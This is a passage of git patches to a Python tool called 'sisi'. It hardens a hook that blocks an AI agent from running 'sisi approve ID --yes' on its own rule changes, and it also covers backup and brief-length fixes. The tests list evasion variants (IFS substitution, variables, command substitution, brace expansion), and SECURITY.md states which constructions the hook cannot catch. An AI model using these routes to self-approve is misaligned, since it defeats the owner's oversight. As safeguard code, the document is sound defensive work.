tests/test_cycle_hardening.py | 12 ++++++++++-- 3 files changed, 23 insertions(+), 7 deletions(-) diff --git a/SECURITY.md b/SECURITY.md index 36a36cd..8c95257 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -41,9 +41,10 @@ limited, and the rest waits for you: `sisi approve` lists every waiting change in full (the exact command, the pattern and profile, the rule text as a diff). Deciding one takes two layers: -- The before-tool hook refuses any shell command an agent runs whose text invokes `sisi approve` with an argument, +- The before-tool hook refuses any shell command an agent runs whose text invokes `sisi approve` with a decision + (`--yes` or `--no` for a change it names by id, or by something a shell fills in), however it is wrapped (`script`, `sh -c`, `env`, `expect`, a path to the launcher, `python -m sisi`, quotes and - backslashes inside the words), for main threads and workers alike, and tells the agent that approval is yours + backslashes inside the words); prose that only mentions the command (a search for it, a doc line) is allowed, for main threads and workers alike, and tells the agent that approval is yours alone and to show you the command to run yourself. The plain listing (`sisi approve` with no arguments) is allowed. The hook fails open on an error, so it is a guard, not a wall: a command built from pieces, from a variable or from an encoded string is not recognised by its text. diff --git a/sisi/watch.py b/sisi/watch.py index 916ca3d..3ce588e 100644 --- a/sisi/watch.py +++ b/sisi/watch.py @@ -122,6 +122,7 @@ def note_shell(sess, cmd, payload): _APPROVE = re.compile(r"(?:^|[\s/;&|(=`$])(?:sisi|sisi\.py|__main__\.py)(?=\s)(?:\s+-{1,2}[\w=-]+)*\s+approve\b([^;&|\n)`]*)") _DECISION = re.compile(r"\bP-\d+\b[\s\S]*--(?:yes|no)\b|--(?:yes|no)\b[\s\S]*\bP-\d+\b") +_FLAG = re.compile(r"--(?:yes|no)\b") APPROVE_REFUSED = ("sisi: refused. Approving or refusing a learning change is the owner's alone; an agent does not " "run `sisi approve ID --yes|--no`, however it is wrapped. Show the owner what is waiting (run " "`sisi approve` with no arguments to list it, and show him the listing) and give him the command " @@ -130,7 +131,8 @@ APPROVE_REFUSED = ("sisi: refused. Approving or refusing a learning change is th def refuse_self_approval(cmd, sid): """Before-tool guard, for main threads and workers alike: a shell command whose text invokes - sisi's approve command with an argument is refused (exit 2, the reason on stderr), however it + sisi's approve command with a decision (`--yes` or `--no` for a change it names) is refused (exit 2, + the reason on stderr), however it is wrapped (`script`, `sh -c`, `env`, `expect`, a path to the launcher, `python -m sisi`). The plain listing, `sisi approve`, is allowed. Quotes, backslashes and IFS tricks are stripped before the text is read. The attempt is recorded in the store with the session id. Fails open: @@ -139,8 +141,13 @@ def refuse_self_approval(cmd, sid): itself requires at the terminal is the second layer.""" try: text = re.sub(r"\$\{?IFS\}?", " ", re.sub(r"[\"'\\]", "", cmd or "")) - m = _APPROVE.search(text) - hit = bool(m and m.group(1).strip()) or bool(re.search(r"\bsisi\b", text) and _DECISION.search(text)) + # a decision has --yes or --no and names the change: an id, or something a shell would fill in + # (a variable, a command, a brace); prose that only mentions the command (`sisi approve ID --yes` + # in a doc, a search pattern) is not an invocation + named = bool(re.search(r"\bP-\d+\b", text)) + hit = any(_FLAG.search(m.group(1)) and (named or re.search(r"[${`]", m.group(1))) + for m in _APPROVE.finditer(text)) \ + or bool(re.search(r"\bsisi\b", text) and _DECISION.search(text)) if not hit: return pid = re.search(r"\bP-\d+\b", text) diff --git a/tests/test_cycle_hardening.py b/tests/test_cycle_hardening.py index 0149019..9745a18 100644 --- a/tests/test_cycle_hardening.py +++ b/tests/test_cycle_hardening.py @@ -32,7 +32,7 @@ class Replay(Base): before, after = self.fixed_repo() self.recorded(before, after) cmd = "sh -c 'echo ran > %s; grep -q fixed f.txt'" % self.marker - p = self.cycle_file([self.cmd_action(cmd)]) + p = self.cycle_file([self.cmd_action(cmd, before=before, after=after)]) # the file's own commits: ignored r = self.sisi("cycle", "check", p) self.assertEqual(r.returncode, 0, r.stderr) self.assertFalse(os.path.exists(self.marker), "check executed a command from the file") @@ -175,6 +175,11 @@ class Approval(Base): "sisi${IFS}approve${IFS}P-0001${IFS}--yes", "cd x; sisi approve P-0001 --yes; echo done", "a=approve; sisi $a P-0001 --yes", + "ID=P-0003; sisi approve $ID --yes", + 'sisi approve "$1" --no', + "sisi approve $(echo P-0001) --yes", + "sisi approve P-000{1,2} --yes", + "sisi approve docs; sisi approve $X --yes", ] for cmd in wrapped: with self.subTest(cmd=cmd): @@ -189,7 +194,10 @@ class Approval(Base): """R-14.3-2 (item 3a): `sisi approve` with no arguments is the listing; nothing else is touched.""" for cmd in ("sisi approve", "/path/to/bin/sisi approve", "sisi approve | head -20", "python3 -m sisi approve;", "sisi cycle apply f.json", "sisi cycle check c.json", "echo approve the plan", - "git commit -m 'approve the design'", "ls"): + "git commit -m 'approve the design'", "ls", + # prose that only mentions the command is not an invocation + 'grep -rn "sisi approve" docs', "grep -n 'sisi approve ID --yes|--no' SECURITY.md", + "python3 - <<'E'\nprint('give him: sisi approve ID --yes')\nE"): with self.subTest(cmd=cmd): self.assertEqual(self.hook(cmd), 0, cmd) self.assertEqual(L.load_approvals(), []) From 4180df85442b109f69513f1b8f5fe75a78f141d2 Mon Sep 17 00:00:00 2001 From: Stephen Waits Date: Mon, 23 Nov 2026 14:55:28 -0700 Subject: [PATCH 7/8] Overlay rule changes cannot stack on a waiting one; an empty brief is one line; a brief never exceeds its limit. done / next: repeat runs, report Co-Authored-By: Claude Sonnet 5.5 --- sisi/cycle.py | 7 ++++++- sisi/overlay.py | 4 ++++ tests/test_cycle_hardening.py | 31 +++++++++++++++++++++++++++++++ 3 files changed, 41 insertions(+), 1 deletion(-) diff --git a/sisi/cycle.py b/sisi/cycle.py index f99f1f4..18c7f68 100644 --- a/sisi/cycle.py +++ b/sisi/cycle.py @@ -339,6 +339,11 @@ def brief_text(): base = L.store_base(rows) flagged = {r["id"] for r in L.flagged(rows)} todo = _rank([r for r in proposed(rows) if r["id"] not in flagged] + L.flagged(rows)) + if not todo: + backlog = sum(1 for r in rows if r.get("status") == "backlog") + waiting = sum(1 for r in rows if r.get("status") == "pending-approval") + return ("Learning cycle brief: no learning a cycle can act on (%d on the backlog for sisi itself, %d waiting " + "for the owner). Nothing to write.\n" % (backlog, waiting)) text = "Learning cycle brief.\n" + format_text(base) blocks, left = [], 0 for r in todo[:BRIEF_MAX_LEARNINGS]: @@ -347,7 +352,7 @@ def brief_text(): r["id"], r.get("recurrences_after_promotion", 0)) else: blk = _learning_block(r) - if len(text) + sum(len(b) + 1 for b in blocks) + len(blk) + 120 > BRIEF_MAX_CHARS and r["id"] not in flagged: + if len(text) + sum(len(b) + 1 for b in blocks) + len(blk) + 120 > BRIEF_MAX_CHARS: left += 1 continue blocks.append(blk) diff --git a/sisi/overlay.py b/sisi/overlay.py index 40b9277..9e8301b 100644 --- a/sisi/overlay.py +++ b/sisi/overlay.py @@ -796,6 +796,10 @@ def _rule_change_waits(action): ok, msg = documents.check_budgets(render_with({rid: parse_rule_file(action["rule_text"], rid)})) if not ok: raise OverlayError(msg) + waiting = cycle._waiting()[1].get(rid) + if waiting: + raise OverlayError("rule %s already has a change waiting for the owner (%s); a second one waits until that " + "is decided" % (rid, waiting)) pid = cycle.park_rule_change(action, ["%s %s: changing or disabling an existing rule needs the owner" % (action["action"], rid)]) print("%s %s waits for the owner: nothing changed. The owner decides in a terminal: `sisi approve %s --yes`" % (action["action"], rid, pid)) diff --git a/tests/test_cycle_hardening.py b/tests/test_cycle_hardening.py index 9745a18..4cc13a1 100644 --- a/tests/test_cycle_hardening.py +++ b/tests/test_cycle_hardening.py @@ -918,3 +918,34 @@ class DueCounter(Base): with open(p, "w") as f: json.dump(rec, f) self.assertIn("cycle is due (6 proposed", cycle.due_notice()) + + +class Odds(Base): + """R-11.5-11, R-11.1-14 (items 5 and 8): the edges.""" + + def test_the_overlay_command_cannot_stack_a_second_change_on_a_rule_that_has_one_waiting(self): + _contract(self) + text = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n" + with open(os.path.join(self.tmp, "r.md"), "w") as f: + f.write(text) + r = self.sisi("overlay", "replace-rule", "deliver-fast", os.path.join(self.tmp, "r.md")) + self.assertEqual(r.returncode, 0, r.stderr) + r = self.sisi("overlay", "replace-rule", "deliver-fast", os.path.join(self.tmp, "r.md")) + self.assertEqual(r.returncode, 1) + self.assertIn("already has a change waiting", r.stderr) + self.assertEqual(len(self.pending()), 1) + + def test_an_empty_brief_says_so_in_one_line_and_flagged_learnings_never_break_the_limit(self): + _contract(self) + out = self.sisi("cycle").stdout + self.assertEqual(len(out.splitlines()), 1) + self.assertIn("Nothing to write", out) + for n in range(8): + self.another(n) + rows = self.rows() + for r in rows: + r["flagged_not_working"] = True + L.save_learnings(rows, "t", touched=rows, via="test") + text = self.sisi("cycle").stdout + self.assertLessEqual(len(text), 6000) + self.assertEqual(text.count("FLAGGED NOT WORKING"), 8) From a245d320654f0885a15d5b0a97e941347b7b0524 Mon Sep 17 00:00:00 2001 From: Stephen Waits Date: Mon, 23 Nov 2026 15:08:31 -0700 Subject: [PATCH 8/8] sisi update's backup survives git housekeeping removing a lock file while the data folder is copied (found by the repeat runs). done / next: repeat runs, report Co-Authored-By: Claude Sonnet 5.5 --- sisi/lifecycle.py | 8 +++++++- tests/test_cycle_hardening.py | 25 +++++++++++++++++++++++++ 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/sisi/lifecycle.py b/sisi/lifecycle.py index 1b66573..93371be 100644 --- a/sisi/lifecycle.py +++ b/sisi/lifecycle.py @@ -38,7 +38,13 @@ def _copy_into(src, bdir, rel): dst = os.path.join(bdir, rel) os.makedirs(os.path.dirname(dst), exist_ok=True) if os.path.isdir(src): - shutil.copytree(src, dst, dirs_exist_ok=True) + try: + # lock files are not data, and git's background maintenance removes them while we copy + shutil.copytree(src, dst, dirs_exist_ok=True, ignore=shutil.ignore_patterns("*.lock", "gc.pid")) + except shutil.Error as e: + # a file that vanished while being copied (git housekeeping in the personal repository) is not a failure + if not all(isinstance(x, tuple) and "No such file or directory" in str(x[2]) for x in e.args[0]): + raise elif src.endswith(".db"): _sqlite_copy(src, dst) else: diff --git a/tests/test_cycle_hardening.py b/tests/test_cycle_hardening.py index 4cc13a1..0f5bb42 100644 --- a/tests/test_cycle_hardening.py +++ b/tests/test_cycle_hardening.py @@ -949,3 +949,28 @@ class Odds(Base): text = self.sisi("cycle").stdout self.assertLessEqual(len(text), 6000) self.assertEqual(text.count("FLAGGED NOT WORKING"), 8) + + +class Snapshot(Base): + """R-16-9 (item 4's repair runs inside `sisi update`, whose backup must not fail on git housekeeping).""" + + def test_a_file_that_vanishes_while_the_backup_copies_the_data_folder_is_not_a_failure(self): + import shutil, unittest.mock + from sisi import lifecycle + d = os.path.join(self.tmp, "src") + os.makedirs(os.path.join(d, "objects")) + for n in ("a", "b"): + with open(os.path.join(d, n), "w") as f: + f.write(n) + with open(os.path.join(d, "objects", "maintenance.lock"), "w") as f: + f.write("x") + real = shutil.copy2 + + def vanishing(src, dst, **kw): + if os.path.basename(src) == "b": + os.unlink(src) # removed by another process between listing and copying + return real(src, dst, **kw) + with unittest.mock.patch("shutil.copy2", vanishing): + lifecycle._copy_into(d, os.path.join(self.tmp, "bak"), "src") + self.assertTrue(os.path.exists(os.path.join(self.tmp, "bak", "src", "a"))) + self.assertFalse(os.path.exists(os.path.join(self.tmp, "bak", "src", "objects", "maintenance.lock")))